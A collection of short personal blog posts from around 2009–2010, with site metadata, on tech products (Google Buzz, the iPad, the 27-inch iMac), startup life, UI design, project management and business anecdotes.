url: "https://alsonkaw.com/muse/andrew-klavan-on-how-21st-century-technology-affects-creativity/"
lang: "en-US"
type: "post"
description: "As the author of author of such internationally acclaimed crime novels as True Crime and Don’t Say A Word, Andrew Klavan is one of America’s most widely read crime writers, and his work has been adapted for movies starring Clint Eastwood and Michael Douglas. But"
last_modified: "2024-08-08T18:23:43+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Design, Technology]
custom_fields:
post_video_link: "https://stg.alsonkaw.com/wp-content/uploads/2024/08/Andrew-Klavan-on-How-21st-Century-Technology-Affects-Creativity.mp4"
---
# Andrew Klavan on How 21st Century Technology Affects Creativity
As the author of author of such internationally acclaimed crime novels as _[True Crime](https://www.amazon.com/True-Crime-Novel-Andrew-Klavan/dp/0440224039)_ and _[Don’t Say A Word](https://www.amazon.com/Dont-Say-Word-Andrew-Klavan/dp/0765341522)_, **[Andrew Klavan](https://www.andrewklavan.com/)** is one of America’s most widely read crime writers, and his work has been adapted for movies starring Clint Eastwood and Michael Douglas.
But Klavan is also a keen theorist of the impact of 21st century digital technology both on the creative process of the artist and on the traditional publishing business. So it was with relish that I caught up with Klavan in Washington, DC last week to discuss his past as a crime writer and his vision of the future of creativity. –_Andrew Keen_
_[Andrew Keen](https://andrewkeen.typepad.com/) is the author of_ [The Cult of the Amateur](https://www.amazon.com/o/ASIN/0385520808/stefanhayden-20).
(via [Havard Business Review](https://blogs.hbr.org/video/2010/05/andrew-klavan-on-how-21st-cent.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+harvardbusiness+%28HBR.org%29))
---
---
title: "Google Buzz: + or –"
url: "https://alsonkaw.com/muse/google-buzz-or/"
lang: "en-US"
type: "post"
description: "Google Buzz, in case you hadn’t noticed, has been getting lots of…well, buzz since being unveiled yesterday. Depending on your perspective, it’s either a huge Facebook-Twitter-MySpace-Yelp-Foursquare killer, or it’s a giant disappointment and therefore an epic fail. Like many of the new"
last_modified: "2024-08-08T18:23:58+00:00"
categories: [Social Media News & Platform Updates]
tags: [Startup]
---
# Google Buzz: + or –
Google Buzz, in case you hadn’t noticed, has been getting lots of…well, buzz since being unveiled yesterday. Depending on your perspective, it’s either a huge Facebook-Twitter-MySpace-Yelp-Foursquare [killer](https://www.groundreport.com/Media_and_Tech/Google-Buzz-The-Twitter-Yelp-Foursquare-iPhone-Fac/2917507), or it’s a giant disappointment and therefore an [epic fail](https://blogs.computerworld.com/15561/google_buzzkill). Like many of the new things released by companies such as Google and Apple, it seems to function like a [Rorschach test](https://en.wikipedia.org/wiki/Rorschach_test) for the geek crowd, a blank sheet upon which everyone’s highest hopes and/or deepest fears can be projected. Google Buzz is brilliant or Google Buzz is stupid; Google Buzz changes everything or Google Buzz changes nothing. And so on.
Google’s new service looks and feels a lot like many other social media tools and networks. The primary input is a box for status updates, just like Twitter and Facebook. You can use @ replies, just like Twitter, and you can share photos and other media content easily (there’s even a photo gallery function like Facebook’s). If you’re mobile, you can give Google Buzz your current location and get comments about that location, just like Foursquare and Gowalla and Yelp. But the single biggest difference between Google Buzz and all of these other services is that Buzz is tied to email.

Although you can get Twitter updates in your inbox, and you can get email notifications from Facebook of new messages (and can now respond to them via email as well), those two services aren’t explicitly integrated into email the way Buzz is. But is that integration a strength or a weakness? That probably depends on how you feel about your email. If, like some people, your email is a place where you mostly get spam, and where you find yourself paddling hard to [keep your head above water](https://www.washingtonpost.com/wp-dyn/content/article/2007/05/24/AR2007052402258.html) with all the new messages coming in, then getting a ton of new stuff in your inbox that amounts to social chatter is not going to strike you as a great idea.
At the same time, however, being tied into email is one of the big strengths of Buzz. Instead of having to remember to go and check a separate web site or start up a separate app, all those discussions and content sharing come right into the thing you use most — your email inbox. And if you get overwhelmed, you can always unfollow someone, or mute their conversations. Some people who responded to the Buzz announcement, [including](https://twitter.com/erickschonfeld/status/8871319249) TechCrunch writer Erick Schonfeld, said that they were _more_ likely to use Buzz because it was integrated into their mail. Others, however, seemed irritated by the connection, especially the fact that Google [publicly reveals](https://twitter.com/jonathanglick/statuses/8921143124) who your most-emailed contacts are.
And unfortunately, Buzz is not yet integrated for Google Apps, which I happen to be using and thus, I am restricted to my little network of friends from Gmail. In short, this is kind of a buzzkill for me.
I think one of the biggest problems for Buzz is that sharing short, status update-type messages or having discussions about ephemeral topics is a very different type of communication than what most people use their email client for. If you do work through your Gmail, then you’re getting longer messages, some with attachments, responding to questions about projects, and so on — that doesn’t really jibe with a Twitter post or a Facebook message from your friend about a [great Lolcat video](https://www.youtube.com/watch?v=Wvo-g_JvURI) or the photos from his trip to Tuscany. Twitter and Facebook are streams into which you dip from time to time, whereas email is much more a task-specific type of tool. Do they belong together? Let me know what you think in the comments.
---
---
title: "Facebook’s New Look — Good or Bad"
url: "https://alsonkaw.com/muse/facebooks-new-look-good-or-bad/"
lang: "en-US"
type: "post"
description: "A few days ago, I got the new Facebook layout. At first, I was happy, but then I became unhappy. The new Facebook UI is clean and simple, as one has come to expect from Facebook. I'm sure they discussed"
last_modified: "2024-08-08T18:24:33+00:00"
categories: [Social Media News & Platform Updates]
---
# Facebook’s New Look — Good or Bad
A few days ago, I got the new Facebook layout. At first, I was happy, but then I became unhappy.
The new Facebook UI is clean and simple, as one has come to expect from Facebook.

I’m sure they discussed this over and over internally, but the new design seems to violate some basic UI rules. The kind that usually, Facebook is a bastion of.

The rule is simple – don’t put destructive actions near non-destructive actions. Or more modestly, wherever possible lower the risk of click-error for the user.
Facebook has put its new status icons right next to the logo. Clicking on a status icon (friend requests, mail, notifications) reveals a contextual menu. Clicking on the logo whisks you back to the homepage. I wonder how many users are going to mistakenly end up at the homepage when all they wanted to do was view a new friend request.
---
---
title: "Maintain a Child-like Attention to Things Around Us"
url: "https://alsonkaw.com/muse/maintain-a-child-like-attention-to-things-around-us/"
lang: "en-US"
type: "post"
description: "Recently, I came across a post on the Washington Post's website dated April 8, 2007 — Oh man, how could I miss this for close to three years? — titled Pearls before Breakfast. The story goes like this: Joshua Bell"
last_modified: "2024-08-08T18:24:43+00:00"
categories: [Thoughts & Personal Reflections]
---
# Maintain a Child-like Attention to Things Around Us
Recently, I came across a post on the Washington Post’s website dated April 8, 2007 — Oh man, how could I miss this for close to three years? — titled [Pearls before Breakfast](https://www.washingtonpost.com/lifestyle/magazine/pearls-before-breakfast-can-one-of-the-nations-great-musicians-cut-through-the-fog-of-a-dc-rush-hour-lets-find-out/2014/09/23/8a6d46da-4331-11e4-b47c-f5889e061e5f_story.html).
The story goes like this:
Joshua Bell — if you don’t know him, he’s a child prodigy violinist and once occupied at least 20% of my music library — was invited to play in L’Enfant Plaza, the heart of Washington DC, at morning peak hour where hundreds of people rush in and out of the station.
The only difference? He’s going to do it incognito, wearing regular clothing.
He played six classical pieces in forty-five minutes, during which approximately a thousand people passed through the station, and out of these, only six people stopped to listen, and then only for a very short while.
Most enthusiasm were displayed by young children, several of whom were tugged on by their parents, asking them to stop listening, but without success.
This made me think, are we really this busy? That we just chose to walk past such beautiful things that flash by? Shouldn’t we be more sensitive to our surroundings?
This rhetorical question has been answered by many but demonstrated by few. So I guess, I should now be more alert to my surroundings and not judge someone by their actions, but rather, by the quality of his works.
---
---
title: "Apple averages $200 per iPad sold"
url: "https://alsonkaw.com/muse/apple-averages-200-per-ipad-sold/"
lang: "en-US"
type: "post"
description: "Maybe it’s a concussion from my days in secondary school, but I love hearing about the profit margins companies have for their devices. It’s amazing to me that companies like Sony are willing to take a hit and sell devices at a"
last_modified: "2024-08-09T11:10:02+00:00"
categories: [Marketing Strategies & Brand Building]
tags: [Apple]
---
# Apple averages $200 per iPad sold
Maybe it’s a concussion from my days in secondary school, but I love hearing about the profit margins companies have for their devices. It’s amazing to me that companies like Sony are [willing to take a hit](https://kotaku.com/5424759/report-sony-still-losing-money-on-every-ps3-sold) and sell devices at a loss in order to sell more software down the road. Apple is clearly no fan of this kind of sales strategy, and the brand new iPad is no exception.
A new report by BroadPoint AmTech analyst Brian Marshall about the cost of production of the iPad based on the going rate for component parts, manufacturing cost and built-in warranty repair costs reveals quite a wide profit margin on a per device basis. The entry-level $499 model apparently generates $208 in profit, while the top of the line $829 model more than doubles that, raking in $446 per unit.
Marshall estimates that the cost of making the 16GB Wi-Fi model of the iPad runs around $270.50, plus $20 for warranty costs for a total of $290.50. Most of that cost accounts for the 9.7-inch touchscreen display, which Marshall guesses costs around $100. Apple sees considerable savings on its own in-house A4 chips, which run around $15 per unit. With a cost of $290.50 and a selling price of $499, Apple stands to see a profit margin of 42.9 percent with each sale.
On other models that margin ranges from 48 to 55.1 percent, giving the iPad line as a whole an overall profit-generating power of about 50 percent, a number which assumes that the Wi-Fi models will sell considerably more than the 3G-capable devices, a reasonable assumption. Computerworld [points out](https://www.computerworld.com/s/article/9150045/Apple_makes_208_on_each_499_iPad?taxonomyId=163&pageNumber=2) that while the number seems fairly high, it is in fact on par with Apple’s other hardware offerings:
> High profit margins are standard for Apple, which earlier in the week boasted that its corporate margin for 2009’s final quarter was 40.1%. Some products, in fact, have estimated margins even higher than Marshall’s iPad numbers: The consensus for the iPhone 3GS is above 60%, for example.
iSuppli, a research firm which is well-known for its [Apple product tear-downs](https://theappleblog.com/2009/06/25/iphone-3gs-hardware-cost-breakdown/) and component analyses, has refrained from making any estimates about the iPad’s cost to build as of yet, though it does acknowledge that there’s reason to believe many costs will be similar to those found in the manufacture of the iPhone and iPod touch:
> We really want to wait until we know a little more about what’s inside. We’d rather not just throw numbers at it yet. It does seem like a gigantic iPod Touch, which means that although some costs would just scale up from the iPod, like the display and the touch screen, a lot won’t.
Considering that the iPad is a brand new product just getting out of the gate, news that it already enjoys such a wide profit margin is a very promising sign of things to come for future Apple customers. Just like it eventually became profitable for Apple to sell the iPhone 3G at a subsidized $99 price point as parts became cheaper and manufacturing costs went down, so too is it conceivable that we will eventually see a significant dip in the price of the iPad. If the 1G iPad sticks around when Apple eventually introduces a 2G camera-equipped model, for instance, 1G pricing could drop to a point where it would decimate netbook sales.
There’s also the possibility that the iPad will eventually get the same subsidy treatment the iPhone currently enjoys, though Apple doesn’t appear to want to go that route with consumers just yet, preferring instead to keep the device unlocked and therefore theoretically available to a broader buyer-base. Subsidies attached to contracts could reduce the initial purchase price considerably, and I wouldn’t be surprised to see $199 as the cost of entry for the 16GB Wi-Fi/3G model.
---
---
title: "Founderitis"
url: "https://alsonkaw.com/muse/founderitis/"
lang: "en-US"
type: "post"
description: "Recently, I've been thinking about Aprilism. It is also during this time that I thought about the future of the company. And then I look back at the years I've been working and keeping Aprilism together. Then it struck me."
last_modified: "2024-08-09T11:10:12+00:00"
categories: [Business Strategies & Market Insights]
---
# Founderitis
Recently, I’ve been thinking about Aprilism. It is also during this time that I thought about the future of the company. And then I look back at the years I’ve been working and keeping Aprilism together.
Then it struck me. The role of a founder is pretty unique. A great startup founder is a heady blend of The Rock, Woody Allen, and Winston Churchill — and Harry Potter. In other words, a fearless, neurotic creative, and a stubborn visionary — one that believes in the power of magic. It also requires an entirely different level of obsessiveness, which can lead you to greatness or the grave. But somewhere along the way, many founders develop what I call founderitis.
If you’re exhibiting three or more of them, perhaps it’s time for you to dial it back a bit — even for a brief period of, say, 24 hours.
- You mistake insomnia for work ethic.
- You are constantly looking to add hot new features to your products such as Tweet This & Facebook Connect.
- You obsess over features/details over which you have no control.
- You have the constant urge to do everything.
- You have attention deficit disorder, in that you’re constantly checking Twitter/Facebook/Google Reader/Email and have set up Google Alerts to monitor what people are saying about you and your company — when you should be actually working.
- Your idea of dining out is picking up take-out food rather than having it delivered.
- In moments of great weakness, you regret not just starting a virtual farm application and selling virtual goods via cell phones.
- Your favorite “vacation” over the past year consisted of going to a conference for 72 hours.
- You bought an iPhone because “It’s going to help me grow my business” instead of “OH MY GOD THIS IS THE COOLEST GADGET EVARRRRRRR”
- You mistake half a dozen long-sleeve shirts with ties and blazers for your wardrobe.
- When people ask how your day went, you tell them “It’s great! I’ve had 2 new followers and a dozen of mention on Twitter already.”
- You have more gray hair than your equity.
Currently, the above is ALL of my symptoms. Damn, I need to see a psychologist soon.
---
---
title: "iPad is for Everyone Except Us"
url: "https://alsonkaw.com/muse/ipad-is-for-everyone-except-us/"
lang: "en-US"
type: "post"
description: "I'm a power user; a professional web developer and a graphic designer. I use computers (specifically, Macs running Mac OS X) to do my job and I'm guessing that most of you are in the same boat. Most people are"
last_modified: "2024-08-09T11:11:18+00:00"
categories: [Technology Innovations & Future Trends]
tags: [Apple]
---
# iPad is for Everyone Except Us
I’m a power user; a professional web developer and a graphic designer. I use computers (specifically, Macs running Mac OS X) to do my job and I’m guessing that most of you are in the same boat.
Most people are not power users, they mainly consume content using their computer rather than produce it. When they produce content, it’s more casual: updating Facebook, posting to Twitter, writing personal blog entries and notes, and uploading photos. Their personal computer usage may include the following:
- Chatting with friends
- Sending and receiving email
- Listening to music
- Watching videos
- Playing games
- Browsing the web
The iPad excels at almost all of those things. Some of those tasks can be done at the same time on the iPad (or using the same application) but some cannot, so building multitasking into the iPad seems like the logical way to fully duplicate how most people use their personal computers at the moment.
Most people who attended the iPad unveiling and are now writing about the iPad are misunderstanding its intended audience because they’re not in it. Some smart folks — who happen to also be power users — see the iPad’s potential and are trying to convince everyone else. This will certainly take some time, just like there are still iPhone doubters even after Apple sold 40 million of them.
The market for potential iPad users is tremendous, possibly larger than the iPhone’s market. There are millions of PC users who are dissatisfied with their virus-ridden, clunky computers and just want them to work better for the simple things they do every day. They might want a MacBook knowing that it’s easier to use, but the thousand-dollar price point scares them off. But wait! For $500 less they can own a piece of Apple technology that lets them do almost everything they currently do in a form factor that’s more convenient, mobile, and beautiful. **This is the iPad’s intended audience.** People who have a PC, and use 10% of its features and software 90% of the time. People like my auntie & uncles who browse the web, read news, send email and watch videos. People like my cousin Jenny who chats with friends using Facebook and uploads photos. Regular folks. Consumers. People who use computers to stay informed, connected, and entertained.
There are also many people _not_ in the iPad’s intended audience who want one, myself included. We’d use it as a secondary computing device; a casual, home-browsing entertainment piece. The iPad is perfect for this.
The iPad is not made for you, it’s made for everyone else.
---
---
title: "Realistic UI"
url: "https://alsonkaw.com/muse/realistic-ui/"
lang: "en-US"
type: "post"
description: "The underlying secret to beautiful user interface design is realism: making 2D objects on your screen appear to sit in 3D space. Designing beautiful user interfaces has more to do with the why than the how. This is a wonderful article from"
last_modified: "2024-08-09T11:11:27+00:00"
categories: [Creative Design Trends & UX/UI Innovation]
---
# Realistic UI
> The underlying secret to beautiful user interface design is realism: making 2D objects on your screen appear to sit in 3D space. Designing beautiful user interfaces has more to do with the why than the how.
This is a [wonderful article](https://web.archive.org/web/20130525232808/http://flyosity.com/tutorial/crafting-subtle-realistic-user-interfaces.php) from Mike Rundle, looking into the thinking behind how realistic user interfaces are crafted. The advice and techniques are invaluable, whether you’re designing software or creating a website.
He also provides a downloadable PSD with a few examples in action.
---
---
title: "Parkinson’s Law vs. Project Management"
url: "https://alsonkaw.com/muse/parkinsons-law-vs-project-management/"
lang: "en-US"
type: "post"
description: "Parkinson's Law is the bane of project scheduling. In simple terms, the law is explained thusly: Work expands so as to fill the time available for its completion. That is, if you allot 2 weeks to perform a task, the"
last_modified: "2024-08-09T11:11:42+00:00"
categories: [Career Development & Professional Growth]
tags: [Project Management]
---
# Parkinson’s Law vs. Project Management
Parkinson’s Law is the bane of project scheduling. In simple terms, the law is explained thusly:
>
Work expands so as to fill the time available for its completion.
That is, if you allot 2 weeks to perform a task, the task’s complexity will increase to fill those 2 weeks.
In software development this promotes [bloat](https://en.wikipedia.org/wiki/Software_bloat) or haplessly trying to build the “perfect product” before your arbitrary launch date (a date that nobody except you cares about). [Continuous Deployment](https://www.startuplessonslearned.com/2009/06/why-continuous-deployment.html) is one way of avoiding the effects of Parkinson’s Law.
Another is to just not schedule things or not set arbitrary future milestones. Another would be to not make software and to just sell coconuts on the beach instead.
---
---
title: "Be Patient, or Lose Your Job"
url: "https://alsonkaw.com/muse/be-patient-or-lose-your-job/"
lang: "en-US"
type: "post"
description: "A few months ago, a friend of mine — let's just call him Aaron — who was a freelance marketing consultant, met with a creative director — and him, Basil — at a local design studio, to explore the possibility"
last_modified: "2024-08-09T11:14:15+00:00"
categories: [Career Development & Professional Growth]
---
# Be Patient, or Lose Your Job
A few months ago, a friend of mine — let’s just call him Aaron — who was a freelance marketing consultant, met with a creative director — and him, Basil — at a local design studio, to explore the possibility of doing a branding project. They had a great meeting, or so Aaron thought.
But a few weeks later, chains of emails and voicemails that Aaron left for Basil were left unanswered. Aaron, second-guessing himself, figured that he had probably done something that was unacceptable to Basil in the interview and lost the job.
This is not news to most of us, I believe. I hear different variations of probably the same problem at least a handful of times a week. One guy reaches out to another to no avail and they silently interpret it negatively.
It became clear to me during my study of Non-Verbal Communication today in the polytechnic I attend.
Non-verbal communication is not really as simple, as we see it. People misinterpret them all the time.
So I called Basil — who happened to be a friend of mine since we had worked on a few projects together — and asked about the meeting.
> It went very well,
Basil told me.
> I like Aaron’s proposal a lot, a great deal of fit for the project.
So why the unreturned messages and emails?
> I haven’t got back to Alex,
he told me.
> Because we don’t have financial approval yet. As soon as I get it, I’ll buzz him.
That’s a perfectly logical explanation. Basil had nothing new to share with Aaron, he didn’t have the green light to sub-contract Aaron yet, so why share anything at all? We’re all too busy to make a call or send an email if we don’t have to.
In fact, if you go back to my post below titled What is Social Media, you would have found out that Generation Y and Z consider the email a passé and even the Boston College stop distributing email addresses to incoming freshmen from 2009 onwards.
Although email is still a legacy in the corporate work environment, it is often being ignored and lots of people just skim through emails at most, rather then opening every single one and checking the contents.
But this also leaves Aaron in an awkward and insecure situation of knowing nothing about the progress. Should he leave more voice mails and send follow-up emails? Pinging Basil to tell him he is still interested and waiting for a response?
In the meantime, I sent an email to my cousin, Joe, a 3D Animator/Director who receives more than 500 emails a day, to ask what he thought.
> If I were to get a series of emails from Aaron concerning my silences, I’d be nothing but pissed. I don’t need people to teach me how to do my job. and if I’m not answering you, pestering me wouldn’t help you, in fact, I might even stop contacting you. You gotta have patience and wait until I’m ready to answer — I can’t have your needs trump my own.
> But isn’t this an issue of etiquette?
I emailed him back that evening, a day before New Year.
> Shouldn’t Basil shoot Aaron a quick email telling him he’s still waiting for approval and he’ll be in touch once he gets the green light?
> If I receive 500 emails a day, 200 of which are important trade emails that I’m prioritizing and answering at, say… 2AM on a holiday night — LIKE THIS EMAIL — then it’s not my obligation to write 300 more quick emails to keep people, whom I don’t need to write to, updated about the current status of any project. Just tell Aaron to wait.
That’s the reality of our work-life right there. Boom! We all get more emails than we can answer immediately. So we triage. We deal with the important ones and when time gives us a puff — maybe on a long ride or a weekend break — we catch up with less important ones, but still, there are more important things that our selfish nature wants to do for **ourselves** rather than for someone whom we rarely meet and know.
I have to admit that I’ve been in Aaron’s situation more often than not and I’ve made the same mistake of sending chain messages to the unresponsive person. But as I thought about Joe’s email. I realized something big:
Not a single time, did the bugging work.
Sure, they might have called me back eventually, but I never — not a single time — got the work.
If they wanted to give me the work, they would have called me back without any urge at all. Emailing every few days or leaving five voice mails doesn’t communicate your great follow-up skills, in fact, it only makes you appear needy.
---
---
title: "Sugared Water vs. Changing the World"
url: "https://alsonkaw.com/muse/sugared-water-vs-changing-the-world/"
lang: "en-US"
type: "post"
description: "I'm currently reading \"The Presentation Secrets of Steve Jobs\". It's really not one of those cheesy, DIY Keynote manuals that you might think it is, and a much more detailed, stalker-like analysis of all things Steve. Which, if you're a"
last_modified: "2024-08-09T11:14:31+00:00"
categories: [Business Strategies & Market Insights]
tags: [Apple]
---
# Sugared Water vs. Changing the World
I’m currently reading “[The Presentation Secrets](https://www.amazon.com/Presentation-Secrets-Steve-Jobs-Insanely/dp/0071636080)[ of Steve Jobs](https://web.archive.org/web/20130525162020/http://www.amazon.com/Presentation-Secrets-Steve-Jobs-Insanely/dp/0071636080)“.
It’s really not one of those cheesy, DIY Keynote manuals that you might think it is, and a much more detailed, stalker-like analysis of all things Steve. Which, if you’re a fanboy like me, is kinda great.
It’s filled with classic Steve moments. Here’s one of my favorites:
>
In 1983, Jobs was aggressively courting then PepsiCo president John Scully. Apple desperately wanted to bring in someone with Sculley’s marketing and managing experience, but despite Steve’s charm, Sculley failed to budge. The position would require that Sculley relocate his family to the West Coast, and it paid less than he wanted.
Sculley recounts the conversation that would lead to his decision to take the job. “We were on the balcony’s west side, facing the Hudson River, when he finally asked me directly: ‘Are you going to come to Apple?’ ‘Steve,’ I said, ‘I really love what you’re doing. I’m excited by it; how could anyone not be captivated? But it just doesn’t make sense. I’d love to be an adviser to you, to help you in any way. But I don’t think I can come to Apple.'”
Sculley said Jobs’ head dropped; he paused and stared at the ground. Jobs then looked up and issued a challenge to Sculley that would “haunt” him. Jobs said, “Do you want to spend the rest of your life selling sugared water or do you want a chance to change the world?”. Sculley said it was as if someone delivered a stiff blow to his stomach.
Wham! A direct blow so someone’s psychology just like that, in a snap of a finger, this man twisted another man’s reality.
Well, this is Steve Jobs for you!
---
---
title: "Enough"
url: "https://alsonkaw.com/muse/enough/"
lang: "en-US"
type: "post"
description: "Two friends were at a party held at the mansion of a billionaire. One said, “Wow! Look at this place! This guy has everything!” The other said, “Yes, but I have something he’ll never have: enough. An inspiring story from Derek Sivers,"
last_modified: "2024-08-09T11:14:48+00:00"
categories: [Business Strategies & Market Insights]
---
# Enough
> Two friends were at a party held at the mansion of a billionaire. One said, “Wow! Look at this place! This guy has everything!” The other said, “Yes, but I have something he’ll never have: enough.
An [inspiring story](https://sivers.org/trust) from Derek Sivers, the founder of CD Baby, who sold his company and transferred all the assets into a charitable foundation – saving over $5 million in tax. He’s one very smart, well-grounded guy.
---
---
title: "The Curious Pricing Case of the Apple 27″ iMac"
url: "https://alsonkaw.com/muse/the-curious-pricing-case-of-the-apple-27-imac/"
lang: "en-US"
type: "post"
description: "The monitor is, by all accounts, the greatest piece of liquid crystal display heaven to ever grace the Earth. Marco Arment touches on a good point, though: How are they making anything — or even not losing money — with the base-model"
last_modified: "2024-08-09T11:14:58+00:00"
categories: [Marketing Strategies & Brand Building]
tags: [Apple]
---
# The Curious Pricing Case of the Apple 27″ iMac
The monitor is, by all accounts, the greatest piece of liquid crystal display heaven to ever grace the Earth. [Marco Arment](https://marco.org/) touches on a good point, though:
> How are they making anything — or even not losing money — with the base-model 27” iMac?
His answer, that Apple scored a great deal from the panel manufacturer, has got to be a part of it. I think another part of it, though, is that the panel manufacturer must be drooling over the fact that this is really the only way to move a lot of high-end panels, and therefore gain access to serious economies of scale, driving the prices down and bringing IPS panels to a more mainstream market.
Not many people are very discerning about their monitor choice. Even many creative types look for a much cheaper panel – $1800 for a monitor, when you can buy a 13” MacBook for $1200 and find a good-enough HP or Dell display with what you have left? IPS monitors are a tough sell.
Now, you have IPS displays in the hands of everyone who buys the 27” iMac. This isn’t something that only designers will use – it’s something that every geek with enough disposable income or company funds will consider. It’s a much bigger market, and it’ll move many more IPS displays. Many sales -> many IPS panels moved -> massive economies of scale -> cheaper panels -> profit!
This is what I love about Apple. Nothing is driving innovation anymore in the PC market – the average computer today has little more capability than a computer from five years ago. Apple, however, is using the brute force of its market share to drive technology forward – by buying the latest stable technology and creating a vast market for it in the time it takes to make an update to the Apple Store, allowing it to mature and develop, while reaping the benefits. Then, the rest of the industry follows suit in a vain attempt to catch them, two years later, not realizing that as long as they keep seeking out the lowest bidder, they keep giving up the chase.
---
---
title: "Cost of a Carrot"
url: "https://alsonkaw.com/muse/cost-of-a-carrot/"
lang: "en-US"
type: "post"
description: "On the walls of my kitchen, I write the cost of a single carrot. Not the wholesale price, but how much value we, as a restaurant, can extract out of that one carrot. Minimizing waste is key in maximizing profit. I"
last_modified: "2024-08-09T11:15:32+00:00"
categories: [Business Strategies & Market Insights]
---
# Cost of a Carrot
> On the walls of my kitchen, I write the cost of a single carrot. Not the wholesale price, but how much value we, as a restaurant, can extract out of that one carrot. **Minimizing waste is key in maximizing profit.** I want my chefs to think about the cost of a carrot before they throw stuff in the bin — are they throwing away the end of a 30c carrot? Or are they throwing away an ingredient that can go into a soup or sauce that can earn the restaurant another $6?
— [Neil Perry](http://en.wikipedia.org/wiki/Neil_Perry), Australian Restauranteur
A friend of mine is currently competing on Australia’s “Master Chef” TV show and gets to hear tidbits like this first-hand from successful restaurant entrepreneurs all day. I am very envious.
Best-of-breed restaurateurs have excellent all-around business acumen. They have to. They are usually small enterprises with high running costs and every day is a fight for survival. I’ve been a fan of reading restauranteur biographies for a while – they are a treasure-trove of practical business tips.
---
---
title: "$44 Billion Railroad"
url: "https://alsonkaw.com/muse/44-billion-railroad/"
lang: "en-US"
type: "post"
description: "Warren Buffet bought the US Railroad for $44 billion on Tuesday. That's the kind of money where you stop understanding what it means. It's just a lot. But allow me to illuminate you. With $44 billion, instead of buying a railway company"
last_modified: "2024-08-09T11:16:15+00:00"
categories: [Business Strategies & Market Insights]
custom_fields:
post_custom_navigation: 1
post_navigation: "show"
post_navigation_style: "style-1"
---
# $44 Billion Railroad
Warren Buffet [bought](https://www.businessinsider.com/berkshire-hathaway-buying-burlington-northern-for-100-per-share-2009-11) the US Railroad for $44 billion on Tuesday. That’s the kind of money where you stop understanding what it means. It’s just a lot.
But allow me to illuminate you. With $44 billion, instead of buying a railway company you could…
- Consume 1.23 billion Big Macs.
- Plan, build and run 1 [Beijing Olympics](https://blogs.wsj.com/chinarealtime/2009/06/19/beijing-sheds-some-light-on-olympics-tally/). Oh and you still have a few dollars to spend on some nice [Beijing Duck](https://www.flickr.com/photos/francesbean/278087273/in/pool-kaoya).
- Buy a Lamborghini Gallardo for you and 220,000 friends.
- Fill the Singapore Indoor stadium 500 750 times over with cornflakes.
- Build and run 8 12 Republic Polytechnic as an independant school.
What would you do with $44 billion? If you have that much spare, could you please buy me some milk for my stadium-sized cereal bowls. Thanks.
---
---
title: "PHP vs. Rails"
url: "https://alsonkaw.com/muse/php-vs-rails/"
lang: "en-US"
type: "post"
description: "Sometimes I get asked by friends or colleagues, \"Should I build my app in PHP? What's this Rails thing?\". A programming language is a means to an end, I tell them. It is a tool. A talented PHP developer can"
last_modified: "2024-08-09T11:16:23+00:00"
categories: [Software Development & Best Practices]
tags: [Ruby]
---
# PHP vs. Rails
Sometimes I get asked by friends or colleagues,
> “Should I build my app in PHP? What’s this Rails thing?”.
A programming language is a means to an end, I tell them. It is a tool.
A talented PHP developer can write cleaner, faster software than a lesser Rails developer – and vice versa.
If you have access to awesome Rails talent, build it in Rails. If you have access to awesome PHP talent, build it in PHP. If you know a guy who can build you a world-class web-based SaaS app using Fortran punch cards, build it in Fortran.
Apps, websites, and web applications – whatever you want to call them – are built by people, not programming languages.
---